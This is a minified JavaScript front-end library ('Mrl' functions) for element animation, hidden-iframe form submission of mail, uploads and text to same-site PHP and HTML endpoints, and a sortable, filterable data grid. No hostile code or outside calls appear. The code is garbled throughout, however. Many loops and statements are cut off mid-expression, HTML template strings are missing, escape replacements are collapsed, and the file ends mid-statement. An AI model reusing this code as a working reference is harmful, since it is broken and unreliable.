if(LR=='R'){ObjB.Dx=((ObjA.offsetWidth/2)-(Cos*ObjA.offsetWidth*1/4));ObjB.Dy=((ObjA.offsetHeight/4)*1-((ObjA.offsetHeight/4)*1+(Sin*(ObjA.offsetWidth*1/4*OffsetScale))*1));};ShaTp=ObjA.offsetTop*1+(ObjA.offsetHeight/4);var ObjC=ObjA.childNodes[0];}else{var ObjC=ObjA;if (LR=='L'){var Lf=0-(Cos*ObjC.offsetWidth/2);var Tp=0-(Sin*ObjC.offsetWidth*OffsetScale/2);}else if (LR=='R'){var Lf=(Cos*ObjC.offsetWidth/2);var Tp=(Sin*ObjC.offsetWidth*OffsetScale/2);};Shax=ObjC.offsetWidth-((Cos*ObjC.offsetWidth/2)*2);Shay=Math.abs((Cos*ObjC.offsetWidth/2)*2);ShaTp=ObjA.offsetTop;var LjA=Cos+','+(Sin*OffsetScale)+','+(0)+','+1+','+Lf+','+Tp;MrlTransform(ObjC,'matrix('+LjA+')');};if (ObjA.LShad){var ObjSha=ObjA.LShad;ObjSha.style.zIndex=ObjA.style.zIndex;ObjSha.style.top=ShaTp+'px';if (Ang>=270||Ang<=90){ObjSha.style.left=(Shax*1+10)+'px';if (((ObjC.offsetWidth)-Shax-10)<=0){ObjSha.style.width='0px'}else{ObjSha.style.width=((ObjC.offsetWidth)-Shax-10)+'px'};} else {ObjSha.style.left=((ObjC.offsetWidth))+'px';if ((Shay-10)<=0){ObjSha.style.width='0px'}else{ObjSha.style.width=(Shay-10)+'px'};};if (ObjA.LAng==180||ObjA.LAng==0){ObjSha.style.top=(0-(ObjA.offsetHeight))+'px'};};return ObjA;};setTimeout("Mrlgei('"+ObjBk.id+"').LObjScr.scrollLeft=0;",0);document.body.removeChild(ObjBk);return ObjBk;};MrlEmailSubmit=function(LEmailSubmit_MailTo,LEmailSubmit_MailSubject,LEmailSubmit_MailText){var LIF=Mrlce('iframe');LIF.style.position='absolute';LIF.style.top='-300px';LIF.style.left='0px';LIF.style.width='300px';LIF.style.height='200px';LEmailSubmit_MailText=MrlReplace(LEmailSubmit_MailText,decodeURI('%0a'),'
');LEmailSubmit_MailText=MrlReplace(LEmailSubmit_MailText,decodeURI('%0d'),'');LIF.id='MrlEmailSubmit'+Math.round(Math.random()*9999);document.body.appendChild(LIF);LIF.src='/MRL/mail.php?mrl=1';LIF.LMailTo=LEmailSubmit_MailTo;LIF.LMailSubject=LEmailSubmit_MailSubject;LIF.LMailText=LEmailSubmit_MailText;LIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var ObjA=this.contentWindow.document;if (!ObjA.getElementById('Content')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};ObjA.getElementById('Mail To').value=this.LMailTo;ObjA.getElementById('Mail Subject').value=this.LMailSubject;ObjA.getElementById('Content').value=this.LMailText;ObjA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};LIF.LFunctionThis=LIF;LIF.onMrlSent=function(){alert('Please Set onMrlSent function() to the return')};LIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var ObjA=this.contentWindow.document;if (!ObjA.getElementById('MrlSta')){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0}; LjA="Message sent"; LjA=LjA.toUpperCase(); var LjB=ObjA.getElementById('MrlSta').innerHTML; var LjC=LjB+''; var LjD=1; LjC=LjC.toUpperCase(); if (LjC.indexOf(LjA)==(0-1)){LjD=0}; this.LFunctionThis.issent=LjD; this.LFunctionThis.sendmsg=LjB; if (this.LFunctionThis.onMrlSent){this.LFunctionThis.onMrlSent()}; this.parentNode.removeChild(this);};LIF.issent='-1';LIF.sendmsg='Sending';setTimeout("Mrlgei('"+LIF.id+"').onMrlLoad()",100);return LIF;};MrlAnimat=function(MrlAnimat_Obj,MrlAnimat_Spd,MrlAnimat_Sec,MrlAnimat_Typ,MrlAnimat_Top,MrlAnimat_Left,MrlAnimat_Height,MrlAnimat_Width,MrlAnimat_Opa,MrlAnimat_Rot,MrlAnimat_ScrT,MrlAnimat_ScrL){var Obj=MrlAnimat_Obj;if (!Obj.tagName){return 0};var Spd=isNaN(MrlAnimat_Spd*1)?2:Math.round(MrlAnimat_Spd);var Sec=isNaN(MrlAnimat_Sec*1)?2000:Math.round(MrlAnimat_Sec);var FS=MrlAnimat_Typ;Obj.style.position=Obj.style.position?Obj.style.position:'absolute';FS+='';FS=FS.toUpperCase();var Tms=Math.round(Sec/50);if(!Tms){return 0};if (!document.body.MrlAnimat){var ObjA=Mrlce('div');ObjA.style.display='none';document.body.appendChild(ObjA);document.body.MrlAnimat=ObjA;}else{var ObjA=document.body.MrlAnimat;};var ObjB=ObjA.childNodes;var Chk=1;for(var i=0;i'); if (this.LFunctionThis.onMrlSubmit){this.LFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};LIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+LIF.id+"').onMrlLoad()",100);return LIF;};MrlFileSubmit=function(){var LIF=Mrlce('iframe');LIF.style.position='absolute';LIF.style.top='-300px';LIF.style.left='0px';LIF.style.width='300px';LIF.style.height='200px';LIF.id='MrlUpload'+Math.round(Math.random()*99999);document.body.appendChild(LIF);LIF.src='/MRL/upload.php?Rand='+Math.round(Math.random()*99999);LIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var ObjA=this.contentWindow.document;if (!ObjA.getElementById('MrlImg')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};ObjA.getElementById('MrlImg').click();if(!ObjA.getElementById('MrlImg').onMrlUploadSelected){this.LFunctionThis.onMrlResult='';this.LFunctionThis.onMrlYN='C';if (this.LFunctionThis.onMrlStart){this.LFunctionThis.onMrlStart()};this.parentNode.removeChild(this);return 0;};var LjRes=ObjA.getElementById('MrlImg').value;LjRes=LjRes.substring(LjRes.lastIndexOf('\\')*1+1);this.LFunctionThis.onMrlResult=LjRes;this.LFunctionThis.onMrlYN='L';if (this.LFunctionThis.onMrlStart){this.LFunctionThis.onMrlStart()};ObjA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};LIF.LFunctionThis=LIF;LIF.onMrlStart=function(){alert('Please Set onMrlStart function() to the return onMrlResult and onMrlYN')};LIF.onMrlSubmit=function(){alert('Please Set onMrlSubmit function() to the return onMrlResult and onMrlYN')};LIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0}; var ObjA=this.contentWindow.document;if (!ObjA.getElementById('MrlResult')){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var LjB=ObjA.getElementById('MrlResult').value;LjB+='';if (LjB.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};LjB=LjB.substring(0, LjB.length-3);if (LjB.substring(0,2)==decodeURI('%01')+decodeURI('%03')){this.LFunctionThis.onMrlYN='N';this.LFunctionThis.onMrlResult=MrlReplace(LjB.substring(2,LjB.length),decodeURI('%09')+decodeURI('%03'),'');}else if (LjB.substring(0,2)==decodeURI('%02')+decodeURI('%03')){this.LFunctionThis.onMrlYN='Y';this.LFunctionThis.onMrlResult=MrlReplace(LjB.substring(2,LjB.length),decodeURI('%09')+decodeURI('%03'),'');}; if (this.LFunctionThis.onMrlSubmit){this.LFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};LIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+LIF.id+"').onMrlLoad()",100);return LIF;};MrlHostSend=function(LHostSend_LjPth,LHostSend_LjText){var LIF=Mrlce('iframe');LIF.style.position='absolute';LIF.style.top='-300px';LIF.style.left='0px';LIF.style.width='300px';LIF.style.height='200px';var LjPth=LHostSend_LjPth;var LjText=LHostSend_LjText;var divi=decodeURI('%01')+decodeURI('%03');var LjURL=document.location;LIF.LLjText=LjURL+divi+LjPth+divi+LjText;LIF.id='MrlHostSend'+Math.round(Math.random()*9999);document.body.appendChild(LIF);LIF.src='/lib/hosttext.html?Rand='+Math.round(Math.random()*9999);LIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var ObjA=this.contentWindow.document;if (!ObjA.getElementById('MrlContent')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};ObjA.getElementById('MrlContent').value=this.LLjText;ObjA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};LIF.LFunctionThis=LIF;LIF.onMrlSubmit=function(){alert('Please Set onMrlSubmit function() to the return')};LIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var ObjA=this.contentWindow.document;var LjB=ObjA.getElementsByTagName('textarea')[0].value;LjB+='';if (LjB.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};LjB=LjB.substring(0, LjB.length-3); this.LFunctionThis.onMrlResult=MrlReplace(LjB,decodeURI('%09')+decodeURI('%03'),''); if (this.LFunctionThis.onMrlSubmit){this.LFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};LIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+LIF.id+"').onMrlLoad()",100);return LIF;};MrlFileSend=function(){var LIF=Mrlce('iframe');LIF.style.position='absolute';LIF.style.top='-300px';LIF.style.left='0px';LIF.style.width='300px';LIF.style.height='200px';var divi=decodeURI('%01')+decodeURI('%03');var LjURL=document.location;LIF.LLjText=LjURL;LIF.id='MrlFileSend'+Math.round(Math.random()*9999);document.body.appendChild(LIF);LIF.src='/lib/filesend.html?Rand='+Math.round(Math.random()*9999);LIF.onMrlLoad=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};var ObjA=this.contentWindow.document;if (!ObjA.getElementById('MrlImg')){setTimeout("Mrlgei('"+this.id+"').onMrlLoad()",10); return 0};ObjA.getElementById('MrlImg').click();if(!ObjA.getElementById('MrlImg').onMrlUploadSelected){this.LFunctionThis.onMrlResult='';this.LFunctionThis.onMrlYN='C';if (this.LFunctionThis.onMrlStart){this.LFunctionThis.onMrlStart()};this.parentNode.removeChild(this);return 0;};var LjRes=ObjA.getElementById('MrlImg').value;LjRes=LjRes.substring(LjRes.lastIndexOf('\\')*1+1);this.LFunctionThis.onMrlResult=LjRes;this.LFunctionThis.onMrlYN='L';ObjA.getElementById('MrlContent').value=this.LLjText;if (this.LFunctionThis.onMrlStart){this.LFunctionThis.onMrlStart()};ObjA.getElementsByTagName('form')[0].submit();setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",500);};LIF.LFunctionThis=LIF;LIF.onMrlStart=function(){alert('Please Set onMrlStart function() to the return onMrlResult and onMrlYN')};LIF.onMrlSubmit=function(){alert('Please Set onMrlSubmit function() to the return onMrlResult and onMrlYN')};LIF.onMrlLoadEnd=function(){if (!this.contentWindow.document) {setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var LjA=this.contentWindow.document.readyState;LjA=LjA+'';LjA=LjA.toUpperCase();if (LjA.indexOf('COMPLETE')==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};var ObjA=this.contentWindow.document;var LjB=ObjA.getElementsByTagName('textarea')[0].value;LjB+='';if (LjB.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==-1){setTimeout("Mrlgei('"+this.id+"').onMrlLoadEnd()",10); return 0};LjB=LjB.substring(0, LjB.length-3);if (LjB.substring(0,2)==decodeURI('%01')+decodeURI('%03')){this.LFunctionThis.onMrlYN='N';this.LFunctionThis.onMrlResult=MrlReplace(LjB.substring(2,LjB.length),decodeURI('%09')+decodeURI('%03'),'');}else if (LjB.substring(0,2)==decodeURI('%02')+decodeURI('%03')){this.LFunctionThis.onMrlYN='Y';this.LFunctionThis.onMrlResult=MrlReplace(LjB.substring(2,LjB.length),decodeURI('%09')+decodeURI('%03'),'');}; if (this.LFunctionThis.onMrlSubmit){this.LFunctionThis.onMrlSubmit()};this.parentNode.removeChild(this);};LIF.onMrlResult='Loading...';setTimeout("Mrlgei('"+LIF.id+"').onMrlLoad()",100);return LIF;};MrlGrid=function(LGrid_Head,LGrid_Data){var hd=LGrid_Head;var dat=LGrid_Data;var gr=Mrlce('div');gr.Lcelbk='#fafafa';gr.Lcelcl='#888';gr.Lhdbk='#69c';gr.Lhdcl='#fff';gr.Lsclbk='#9ce';gr.Lsclcl='#000';gr.Lsrbk='#adf';gr.Lsrcl='#555';gr.Lfam='verdana';gr.Lfs='12px';gr.style.overflow='hidden';gr.style.textAlign='left';gr.style.position='relative';gr.style.overflowX='scroll';var preImg=['/MRL/img/centerA_green.png','/MRL/img/upA_wred.png','/MRL/img/downA_wgreen.png','/MRL/img/filterA_grey.png','/MRL/img/filterA_wgrey.png'];gr.preImg=new Array();for(var i=0;i";var thy=thh.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;thy.removeChild(thy.childNodes[0]);var Wd='';var TT='';var tr=Mrlce('tr');var ttw=0;thy.appendChild(tr);thy.mtr=tr;tr.style.backgroundColor=gr.Lhdbk;var lbls=new Array();thy.lbls=lbls;gr.thy=thy;for(var i=0;i" , ">");lb.noWrap=true;lb.st=0;lb.col=i;lbl.appendChild(lb);lbl.gr=gr;var si=Mrlce('img');Mrlab4(si,2,null,12,12);si.style.right='4px';si.src='/MRL/img/centerA_green.png';lb.si=si;si.lb=lb;si.onclick=function(){this.lb.onclick()};lbl.appendChild(si);var fi=Mrlce('img');Mrlab4(fi,8,null,18,18);fi.style.right='16px';fi.style.display='none';fi.sorting=2;fi.src='/MRL/img/filterA_grey.png';lbl.appendChild(fi);lb.onclick=function(){var gr=this.gr;if(gr.sYN!='Y'){return 0};if(this.st==0){var ad=1;}else if(this.st==1){var ad=-1;}else if(this.st==-1){var ad=0;this.si.src='/MRL/img/centerA_green.png';};this.gr.col=this.col;this.gr.sortCol(this.col,ad);this.gr.grid();};fi.gr=gr;fi.col=i;fi.style.cursor='pointer';fi.filtyp=0;fi.onclick=function(){var gr=this.gr;var m=this.col;if(this.filtyp==0){var dat=gr.getFData();}else{var dat=gr.sdat.map(function(ary){return ary.slice()});};var d=new Array();var td=this.parentNode.parentNode;var dat=msort(dat,[[m,1]]);for(var i=0;i])+>/ig,'');if(d[mval]===undefined){d[mval]=mval};};var dv=Mrlce('div');Mrlab4(dv,td.offsetTop*1+50,td.offsetLeft,null,td.offsetWidth*1+20);dv.style.backgroundColor=gr.Lhdbk;dv.style.zIndex='100';dv.style.height='auto';dv.style.overflow='hidden';dv.style.overflowY='scroll';dv.style.borderLeft='solid 1px #000';dv.style.borderBottom='solid 2px #000';dv.style.borderRight='solid 2px #000';dv.col=m;dv.gr=gr;dv.fi=this;this.dv=dv;if(this.sorting==1){return 0};this.sorting=1;dv.update=function(){var gr=this.gr;if(gr.fYN!='Y'){return 0};var m=this.col;var na=new Array();var c=this.getElementsByTagName('input');var d=this.getElementsByTagName('label');var ChkA=1;var ChkB=0;na['MrlSortedInputIndex']=c[0].value;for(var i=2;i")]='';ChkA=2}else{ChkB++};};if(ChkB==(c.length-2)){ChkA=1};if(c[0].value!=''){ChkA=2};if(ChkA==1){na['MrlSortedShowAll']='';this.fi.filtyp=0;this.fi.src='/MRL/img/filterA_grey.png'}else{this.fi.filtyp=1;this.fi.src='/MRL/img/filterA_wgrey.png'};gr.sortList[m]=na;gr.grid();if(gr.mafterFilter){gr.mafterFilter()};};var sl=gr.sortList[m];dv.onblur=function(){MrlAnimat(this.dv,2,500,'sf',null,null,20);this.dv.onMrlAnimatEnd=function(){this.update();this.fi.sorting=2;this.parentNode.removeChild(this)};};dv.dv=dv;dv.onfocus=function(){MrlAnimat(this.dv,2,500,'fs',null,null,this.dv.tp);this.dv.onMrlAnimatEnd=function(){};};var op=Mrlce('input');var ht=dv.gr.Lfs.substring(0,dv.gr.Lfs.length-2)*1+6;Mrlab4(op,1,2,ht,td.offsetWidth-4);op.style.border='solid 1px #aaa';op.style.fontFamily=gr.Lfam;op.style.fontSize=gr.Lfs;op.style.zIndex='1';op.dv=dv;op.value=sl['MrlSortedInputIndex'];op.onfocus=function(){this.dv.onfocus()};op.onblur=function(){this.dv.onblur()};op.onkeydown=function(e){e=e||window.event;var kc=e.which||e.keyCode;if(kc==13){this.onblur()}};dv.op=op;dv.appendChild(op);var Tp=0;Tp=Tp*1+ht;var op1=Mrlce('a');Mrlab4(op1,Tp*1+4,2,ht,td.offsetWidth/2-6);op1.style.zIndex='3';op1.innerHTML='Clear';op1.style.textAlign='right';op1.style.fontFamily=gr.Lfam;op1.style.fontSize=gr.Lfs;op1.style.color=gr.Lhdcl;op1.style.zIndex='2';op1.style.whiteSpace='noWrap';op1.noWrap=true;op1.dv=dv;op1.style.overflow='hidden';op1.style.cursor='pointer';dv.appendChild(op1);var opdivi=Mrlce('a');Mrlab4(opdivi,Tp*1+4,td.offsetWidth/2-2,ht,4);opdivi.style.zIndex='2';opdivi.innerHTML='|';opdivi.style.textAlign='center';opdivi.style.fontFamily=gr.Lfam;opdivi.style.fontSize=gr.Lfs;opdivi.style.color=gr.Lhdcl;opdivi.dv=dv;dv.appendChild(opdivi);var op2=Mrlce('a');Mrlab4(op2,Tp*1+4,td.offsetWidth/2+4*1,ht,td.offsetWidth/2-6);op2.innerHTML='Filter';op2.style.fontFamily=gr.Lfam;op2.style.fontSize=gr.Lfs;op2.style.color=gr.Lhdcl;op2.style.zIndex='2';op2.style.whiteSpace='noWrap';op2.noWrap=true;op2.style.textAlign='left';op2.style.overflow='hidden';op2.style.cursor='pointer';op2.dv=dv;dv.appendChild(op2);op1.gr=gr;op2.gr=gr;op1.dv=dv;op1.onclick=function(){var dv=this.dv;var cb=dv.getElementsByTagName('input');cb[0].value='';for(var i=2;i" , ">");op2.op1=op1;op2.onclick=function(){this.op1.click()};if(sl[i]!==undefined){op1.checked=true};dv.appendChild(op2);op1.dv=dv;op1.onfocus=function(){this.dv.onfocus()};op1.onblur=function(){this.dv.onblur()};Tp=Tp*1+ht;};gr.appendChild(dv);op.dv=dv;dv.op.select();dv.style.height='1px';dv.dv=dv;if (Tp>(gr.thd.offsetHeight/3*2)){Tp=parseInt((gr.thd.offsetHeight/3*2))};dv.tp=Tp;MrlAnimat(dv,2,500,'fs',null,null,Tp);};td.appendChild(lbl);tr.appendChild(td);};gr.dat=new Array();gr.odat=new Array();gr.sdat=new Array();for(var i=0;i
";var ty=thd.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;ty.removeChild(ty.childNodes[0]);ty.parentNode.style.height='10px';ty.parentNode.style.borderBottom='solid 1px #aaa';gr.ty=ty;ty.gr=gr;gr.thd=thd;var thdselbottom=Mrlce('div');thdselbottom.style.position='relative';thdselbottom.style.display='block';thdselbottom.style.height='35px';thdselbottom.style.width='20px';thd.appendChild(thdselbottom);gr.sortAD=new Array();gr.sortCol=function(grsortcol,grsortad){var sad=this.sortAD;if(grsortcol===null){return 0};ad=grsortad;if(ad!=0&&ad!=1&&ad!=(0-1)){return 0};var c=grsortcol;var dat=this.dat.slice();var na=new Array();for(var i in sad){if (i != c){na[i]=sad[i];dat.sort(function(a,b){return !isNaN(a[i]*b[i])?a[i]*1>b[i]*1?sad[i]:a[i]*1b[i]?sad[i]:a[i]b[c]*1?ad:a[c]*1b[c]?ad:a[c]=td.offsetWidth-10){td.style.cursor='e-resize';td.childNodes[0].childNodes[0].style.cursor='e-resize';msetdrag(td);td.mmove=function(){var td=this;var gr=td.gr;var d=this;var hc=d.hc;var i=td.i;if((hc.cy-hc.pry)>0){gr.colwd(i,(hc.pw*1+(hc.cy-hc.pry)*1));}else{if(((hc.pw)*1+(hc.cy-hc.pry)*1)<2){gr.colwd(i,2)}else{gr.colwd(i,((hc.pw)*1+(hc.cy-hc.pry)*1));};};};td.mpick=function(){var td=this;var hc=td.hc;hc.style.cursor='e-resize'};td.mdrop=function(){mcleardrag(this)};}else{td.style.cursor='pointer';td.childNodes[0].childNodes[0].style.cursor='pointer';mcleardrag(td);};};};};};gr.mhdhtYN='N';gr.mhdht=function(){var gr=this;var tds=gr.thh.getElementsByTagName('td');for(var i=0;i=gr.offsetWidth){p.style.width='100%'}else{p.style.width=gr.ttw+'px'};};gr.chColor=function(chColor_color){var gr=this.gr;var mc=chColor_color;if(!mc){return 0};if(mc.substring(0,1)!='#'){return 0};if(mc.length!=7){return 0};var mhex=[['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'],['0','1','2','3','4','5','6','7','8','9','10','11','12','13','14','15']];var mtohex=new Array();var mtoten=new Array();for(var i=0;i=381){var tara=255;var tarb=0;}else{var tara=0;var tarb=255;};var nr=parseInt(rten*1+(tarb-rten)/100*90);var ng=parseInt(gten*1+(tarb-gten)/100*90);var nb=parseInt(bten*1+(tarb-bten)/100*90);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nfc='#'+nr+ng+nb;var nr=parseInt(rten*1+(tarb-rten)/100*80);var ng=parseInt(gten*1+(tarb-gten)/100*80);var nb=parseInt(bten*1+(tarb-bten)/100*80);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nfbc='#'+nr+ng+nb;var nr=parseInt(rten*1+(tarb-rten)/100*20);var ng=parseInt(gten*1+(tarb-gten)/100*20);var nb=parseInt(bten*1+(tarb-bten)/100*20);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nc='#'+nr+ng+nb;var nr=parseInt(rten*1+(tarb-rten)/100*30);var ng=parseInt(gten*1+(tarb-gten)/100*30);var nb=parseInt(bten*1+(tarb-bten)/100*30);nr=mtohex[parseInt(nr/16)]+''+mtohex[nr-parseInt(nr/16)*16];ng=mtohex[parseInt(ng/16)]+''+mtohex[ng-parseInt(ng/16)*16];nb=mtohex[parseInt(nb/16)]+''+mtohex[nb-parseInt(nb/16)*16];var nbc='#'+nr+ng+nb;gr.Lcelbk='#fafafa';gr.Lcelcl='#888';gr.Lhdbk=mc;gr.Lhdcl=mrgb(mc)[90];gr.Lsclbk=nbc;gr.Lsclcl=nfbc;gr.Lsrbk=nc;gr.Lsrcl=nfbc;gr.thy.mtr.style.backgroundColor=gr.Lhdbk;var lbls=gr.thy.lbls;for(var i=0;i=30){gr.mundoary[gr.mundo-30]='';};gr.mundoary[gr.mundo]=gr.getData().slice();};};for(var n=0;this.ty.childNodes.length!=0;n=0){this.ty.removeChild(this.ty.childNodes[0]);};var ChkA=1;var nn=0;var nnn=0;for(var n=0;n])+>/ig,''); if(TmT.indexOf(this.sortList[m]['MrlSortedInputIndex'].toUpperCase())==-1){ChkA=2}else{ChkA=3}; }; if(this.sortList[m][dat[n][m].toString().replace(/<([^<>])+>/ig,'')]!==undefined){ChkA=1}else{if(ChkA==3){ChkA=1}else{ChkA=2}}; }; if(ChkA!=1){break}; }; if(gr.pg!==''&&ChkA==1){if(nnn<(gr.pg*gr.rpp)||nnn>=(gr.pg*1+1)*gr.rpp){ChkA=4}}; for(var m=0;m/g,' ');}; if(gr.cit[m]=='i'){if(!gr.mShowTag){lbl.innerHTML=MrlReplace(MrlReplace(MrlReplace(mcval, "&", "&"), "<", "<"), ">" , ">");}else{lbl.innerHTML=mcval;}; }else if(gr.cit[m]=='s'){if(!gr.mShowTag){lbl.innerHTML=MrlReplace(MrlReplace(MrlReplace(mcval, "&", "&"), "<", "<"), ">" , ">");}else{lbl.innerHTML=mcval;}; }else if(gr.cit[m]=='p'){var strs='******************************************************************************************************************************';lbl.innerHTML=strs.substring(0,mcval.length); }else if(gr.cit[m]=='c'){ var cbd=Mrlce('div'); cbd.style.position='relative'; cbd.style.height='20px'; cbd.style.overflow='hidden'; cbd.style.width=hd[m][1]+'px'; cbd.style.display='block'; var cb=Mrlce('input'); cb.type='checkbox'; cb.style.height='15px'; cb.style.width='15px'; cb.ed=ed; cb.td=td; cb.onkeydown=function(e){ e=e?e:window.event; var kc=e.which?e.which:e.keyCode; if(kc==9){this.onMrlblur();this.onblur=function(){this.onblur=function(){this.onMrlblur()}}}; if(kc==9||kc==16||kc==113||kc==13||kc==27){this.ed.onkeydown(e)}; if(kc==9){return false}; }; cb.onkeyup=function(e){ e=e?e:window.event; var kc=e.which?e.which:e.keyCode; if(kc==16){this.ed.onkeyup(e)}; if(kc==9){return false}; }; cb.onblur=function(){}; cb.onMrlblur=function(){ if(this.checked){this.ed.value='true';this.td.val('true')}else{this.ed.value='false';this.td.val('false')}; }; cb.onclick=function(){this.td.gr.cells(this.td.row,this.td.col).sele();if(this.checked){this.ed.value='true';this.td.val('true')}else{this.ed.value='false';this.td.val('false')};}; document.body.appendChild(cb); if(dat[n][m]=='true'){cb.checked=true}; if(gr.edYN!='Y'){cb.disabled=true}; if(gr.editAry[m]!='Y'){cb.disabled=true}; cbd.appendChild(cb); td.appendChild(cbd); if(dat[n][m]=='true'){lbl.innerHTML=true}else{ var q=gr.sdat[n][gr.sdat[n].length-1]; gr.sdat[n][m]='false'; gr.dat[q][m]='false'; this.value='false'; lbl.innerHTML=false; }; lbl.style.display='none'; }else{ lbl.innerHTML='NA'; }; lbl.style.fontFamily=this.Lfam; lbl.style.fontSize=this.Lfs; lbl.style.wordBreak='break-all'; td.appendChild(lbl); td.row=nn; td.sdr=n; td.col=m; td.lbl=lbl; td.gr=gr; td.style.borderLeft='solid 1px #aaa'; td.style.borderTop='solid 1px #aaa'; td.style.wordBreak='break-all'; td.style.height=(this.gr.Lfs.substring(0,this.gr.Lfs.length-2)*1+6)+'px'; td.value=dat[n][m]; td.sele=this.Lcellselect; td.edit=this.Lcelledit; td.val=function(val_val,val_TF,val_undo){ var gr=this.gr; var a=this; if((!val_val)&&(val_val!=0)){return gr.sdat[a.sdr][a.col]};if(!gr.mShowTag){ this.lbl.innerHTML=MrlReplace(MrlReplace(MrlReplace(val_val, "&", "&"), "<", "<"), ">" , ">");}else{this.lbl.innerHTML=val_val;}; var a=this; var q=gr.sdat[a.sdr][gr.sdat[a.sdr].length-1]; gr.sdat[a.sdr][a.col]=val_val; gr.dat[q][a.col]=val_val; this.value=val_val; if(val_TF!==false){ if(this.onch){this.onch()}; if(gr.oncolch[this.col]){this.oncolch=gr.oncolch[this.col];this.oncolch()}; };gr.ttltrCal();if(!val_undo){if(gr.getData()!=gr.mundoary[gr.mundo]||gr.mundo==(0-1)){gr.mundo++;if(gr.mundo>=30){gr.mundoary[gr.mundo-30]='';};gr.mundoary[gr.mundo]=gr.getData().slice();};}; return val_val; }; td.onclick=function(){this.edit()}; tr.appendChild(td); }; if(ChkA==1){ nn++; nnn++; this.ty.appendChild(tr); }else if(ChkA==4){ nnn++; };};this.prow=0;this.pcol=0;this.ctrl.select();this.ed.style.left=(0-this.ed.offsetWidth-1000)+'px';this.thd.style.height='120%';this.thd.style.height='100%';if(parseInt((nnn-1)/gr.rpp)=gr.offsetWidth){p.style.width='100%'}else{p.style.width=gr.ttw+'px'};gr.thd.style.width=gr.ttw+'px';gr.thh.style.width=gr.ttw+'px';if(gr.tl){gr.tl.style.width=gr.ttw+'px'};var 